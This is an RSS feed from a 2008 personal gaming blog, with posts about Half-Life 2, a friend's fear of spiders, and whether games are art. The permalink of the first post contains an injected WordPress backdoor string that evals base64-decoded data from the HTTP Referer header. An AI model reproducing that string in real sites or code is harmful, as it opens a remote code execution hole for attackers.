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	<title>Rabid Lime &#187; half-life 2</title>
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		<title>fraidy-cat beukema</title>
		<link>http://rabidlime.net/2008/05/30/fraidy-cat-beukema/%&amp;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&amp;%/</link>
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		<pubDate>Fri, 30 May 2008 16:18:31 +0000</pubDate>
		<dc:creator>troy</dc:creator>
				<category><![CDATA[video games]]></category>
		<category><![CDATA[fred beukema]]></category>
		<category><![CDATA[half-life 2]]></category>

		<guid isPermaLink="false">http://rabidlime.inassociationfilms.com/?p=16</guid>
		<description><![CDATA[fred beukema is a being a serious pussy. as any reader has gathered, i have been playing through half-life 2 recently, and have, for the second time, realized it might be one of the best games ever. right up there with the super mario bros., ocarina of time, and starcraft.* it&#8217;s an amazing feat that [...]]]></description>
			<content:encoded><![CDATA[<p><a title="giant pussy" href="http://fbeuks.blogspot.com/">fred beukema</a> is a being a serious pussy.</p>
<p>as any reader has gathered, i have been playing through half-life 2 recently, and have, for the second time, realized it might be one of the best games ever. right up there with the <a title="dated, yet valid" href="http://top100.ign.com/2005/001-010.html">super mario bros., ocarina of time, and starcraft</a>.* it&#8217;s an amazing feat that just keeps getting <a title="real vigor and candor" href="http://www.youtube.com/watch?v=wwMot_SwLcs&amp;feature=related">better and better</a>. it also gets very creepy and atmospheric at just the <a title="yip!" href="http://www.youtube.com/watch?v=6z_6Bl6-2Gg">right moments</a>. and it&#8217;s in these right moments that you run into the <a title="not a real threat" href="http://en.wikipedia.org/wiki/Headcrab#Poison_headcrab">poison headcrab</a>, which looks like a giant spider. now, it&#8217;s no secret that fred is afraid of spiders; he&#8217;s <a title="big wuss" href="http://www.1up.com/do/my1Up?publicUserId=5517382&amp;pager.offset=30">made this clear</a> <a title="justifiable wuss" href="http://fbeuks.blogspot.com/2008/05/spiders-why-did-it-have-to-be-spiders.html">many times</a>.<span id="more-16"></span></p>
<p>now, i myself am afraid of the water. not the water itself, more so the countless things that could be living in it. namely the <a title="possible death" href="http://www.independent.co.uk/news/world/americas/the-reallife-jaws-dont-go-back-in-the-water-816652.html">sharks</a>, <a title="certain death" href="http://en.wikipedia.org/wiki/Colossal_Squid#Largest_known_specimen">colossal squid</a>, and <a title="fictional death" href="http://www.youtube.com/watch?v=DMtMqXc9iUU&amp;feature=related">sea monsters</a>. i still take careful surveys of pools before i jump into them, also while i&#8217;m in them, and waste no time getting out of them. i won&#8217;t even get in natural water unless someone is near (the beast will obviously take them over me). <em>however!</em> going against my instinct, i have, countless times, ventured into water &#8211; not only in real life, where things are very safe and these fears are ballooned quite a bit, but also in a virtual medium. the first instance being the in the sewers of imperial city in the nintendo 64 game <a title="really bad game" href="http://en.wikipedia.org/wiki/Star_Wars:_Shadows_of_the_Empire_%28video_game%29">shadows of the empire</a>. in this level you fight that thing that grabs luke in the trash compactor in some very murky water. the whole thing scared the shit out of a twelve-year-old me. since that moment, it&#8217;s been an uphill battle.</p>
<p>point in case the <a title="true terror" href="http://www.youtube.com/watch?v=vl9DpD84wPQ&amp;feature=related">ichthyosaur</a>. in the first half-life game, there were certain parts that took place underwater, a task that had me on edge even before i saw a razored fin sticking out of the water. once under the surface this fish, if you want to call it that, attacks constantly. all you can see is a giant, gaping maw. then you die. it&#8217;s terrifying. yet, here i sit, having completed the game.</p>
<p>now, all of this is quite moot. i&#8217;ll admit that. but the punchline is this: mr. beukema <em>did not finish half-life 2</em>, <em>but instead skipped ahead to it&#8217;s follow-up, half-life 2: episode 1</em>. not only is he ruining things for himself, he&#8217;s ruining everything for everyone everywhere in existence. why not simply fly to valve headquarters and spit in gabe newell&#8217;s face, fred. then shit on the lawn and bring an electromagnet into their database department.<br />
<a href="http://rabidlime.inassociationfilms.com/wp-content/uploads/2008/05/phoenix_wright.jpg" rel="lightbox[16]"><br />
</a></p>
<p style="text-align: center;"><img class="size-medium wp-image-17" style="vertical-align: middle;" title="phoenix_wright" src="http://rabidlime.inassociationfilms.com/wp-content/uploads/2008/05/phoenix_wright-300x192.jpg" alt="" width="300" height="192" /></p>
<p>* here are some other games which i would include in a list of best ever:</p>
<ul>
<li>super metroid</li>
<li>resident evil 4</li>
<li>chrono trigger</li>
<li>half life</li>
<li>star wars: TIE fighter</li>
<li>sid meier&#8217;s civiliazation</li>
<li>sim city</li>
<li>super mario world</li>
<li>legend of zelda (original, link to the past, link&#8217;s adventure)</li>
</ul>



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		<title>tech talk two</title>
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		<pubDate>Wed, 21 May 2008 16:10:00 +0000</pubDate>
		<dc:creator>troy</dc:creator>
				<category><![CDATA[video games]]></category>
		<category><![CDATA[half-life 2]]></category>
		<category><![CDATA[metroid]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[shadow of the colossus]]></category>

		<guid isPermaLink="false">http://rabidlime.inassociationfilms.com/?p=13</guid>
		<description><![CDATA[i arrived home from new york early on monday afternoon and, to no avail, found myself bored to tears by 4:00pm. not surprising given the amount of activity i partook in the following weekend, it&#8217;s only natural that i want more once i found myself in a &#8220;doing&#8221; groove. so, rather than traipse about or [...]]]></description>
			<content:encoded><![CDATA[<p>i arrived home from new york early on monday afternoon and, to no avail, found myself bored to tears by 4:00pm. not surprising given the amount of activity i partook in the following weekend, it&#8217;s only natural that i want more once i found myself in a &#8220;doing&#8221; groove. so, rather than traipse about or complete something productive, i installed <a title="provided by valve" href="http://en.wikipedia.org/wiki/Half_Life_2">half-life 2</a> and played through and a good portion of it.</p>
<p>the name of the game (no pun intended) is immersion. personally, that&#8217;s what draws me to gaming <em>and </em>film. the <a title="little wander" href="http://en.wikipedia.org/wiki/Prince_of_Persia:_The_Sands_of_Time">prince of persia</a> series revels in well-crafted story-telling, the <a href="http://en.wikipedia.org/wiki/Metroid_Prime">metroid prime</a> games replicate the feeling of physically being the main character, <a title="little wander" href="http://en.wikipedia.org/wiki/Shadow_of_the_Colossus">shadow of the colossus</a> makes an absolute art out from it&#8217;s feelings of isolation, and half-life 2 excels at making you care about it&#8217;s supporting npcs and actually invest in their well-being. <span id="more-13"></span>aside from great level design and well-crafted writing this can be credited to the stellar voice-acting and realistic character animation. they&#8217;re not doing anything groundbreaking in this realm, nothing that hasen&#8217;t been done before (as a committed studio of pixar or the like), but simply bringing it to an interactive realm. this is something noteworthy in and of itself. especially given that the player doesn&#8217;t simply watch these characters, but interacts with them. a wayward glance towards a &#8220;bit-part&#8221; comrade during a mission briefing for a task that will almost certainly lead to death may seem like nothing; but it&#8217;s when that no-name character matches your thoughts with the same grim tidings and shakes his head at you as if you two are actually having a moment that it becomes something more than what a film can be.</p>
<p><a title="read all about it" href="http://en.wikipedia.org/wiki/Portal_(video_game)">portal</a> executed this same maneuver but on a much smaller scale, and therefore, <a title="flashback!" href="http://rabidlime.inassociationfilms.com/2008/05/07/portal/">in my opinion</a>, became something much more. leaving holes to be filled in by the player is something they&#8217;re not used to doing. so, inherently, it&#8217;s better.</p>
<p>roger ebert has always stated that video games, by their nature will never be true art and always considerably inferior to film and literature because:</p>
<blockquote><p>&#8220;by their nature [video games] require player choices, which is the opposite of the strategy of serious film and literature, which requires authorial control.&#8221;</p></blockquote>
<p>i&#8217;d rather not stray into a monologue about art being without definition, because it is. however, most consider art to be something that causes an emotional response. <em>emotional</em>. in film, this would be akin to crying when a character dies, or an injustice running unrequited causing anger or resentment for the antagonist. however, these exact same things can happen in a game. they just have yet to take the notice of any opinion-maker.</p>



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